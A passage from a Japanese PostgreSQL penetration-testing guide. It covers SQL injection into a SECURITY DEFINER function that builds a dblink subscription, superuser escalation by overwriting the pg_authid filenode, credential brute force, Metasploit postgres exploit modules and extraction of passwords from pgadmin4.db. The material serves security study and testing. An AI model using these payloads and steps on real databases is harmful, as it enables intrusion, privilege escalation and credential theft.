LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

ドキュメントで説明されているように、SECURITY DEFINERが設定された関数は、所有者の権限で実行されます。したがって、関数がSQLインジェクションに対して脆弱であるか、攻撃者によって制御されるパラメータで特権操作を行っている場合、Postgres内で権限昇格が悪用される可能性があります。

前述のコードの4行目で、関数にSECURITY DEFINERフラグがあることがわかります。

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

そしてコマンドを実行してください：

PL/pgSQLを使用したパスワードブルートフォース

PL/pgSQLはSQLよりも大幅に手続き型制御が向上した完全な機能を備えたプログラミング言語です。これにより、ループや他の制御構造を使用してプログラムロジックを強化できます。さらに、SQLステートメントやトリガーは、PL/pgSQL言語を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。 この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。

pagePL/pgSQL Password Bruteforce

内部のPostgreSQLテーブルを上書きして権限昇格

次の権限昇格ベクトルは、制約されたSQLiコンテキストで特に有用であり、すべての手順をネストされたSELECTステートメントを介して実行できます

PostgreSQLサーバーファイルを読み書きできる場合、内部のpg_authidテーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで、スーパーユーザーになることができます。

このテクニックについて詳しくはこちらを参照してください。

攻撃手順は以下の通りです：

1. PostgreSQLデータディレクトリを取得する

2. pg_authidテーブルに関連付けられたファイルノードへの相対パスを取得する

3. lo_*関数を介してファイルノードをダウンロードする

4. pg_authidテーブルに関連付けられたデータ型を取得する

5. PostgreSQL Filenode Editorを使用して、pg_authidテーブルのファイルノードを編集し、すべてのrol*ブールフラグを1に設定して完全な権限を付与する

6. lo_*関数を介して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする

7. （オプション）高コストなSQLクエリを実行してインメモリテーブルキャッシュをクリアする

8. これで完全なスーパーアドミンの権限を持つはずです。

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

ロギング

postgresql.conf ファイルの中で、以下を変更して PostgreSQL ログを有効にできます:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

その後、サービスを再起動してください。

pgadmin

pgadmin は、PostgreSQLの管理および開発プラットフォームです。 pgadmin4.db ファイルの中にパスワードが見つかります。 スクリプト内の decrypt 関数を使用して、それらを復号化することができます: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

PostgreSQLにおけるクライアント認証は、pg_hba.confと呼ばれる構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントIPアドレス範囲（該当する場合）、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定する一連のレコードが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。

pg_hba.confで利用可能なパスワードベースの認証方法は、md5、crypt、およびpasswordです。これらの方法は、パスワードの送信方法で異なります：MD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドは、pg_authidで暗号化されたパスワードとは使用できないことに注意する必要があります。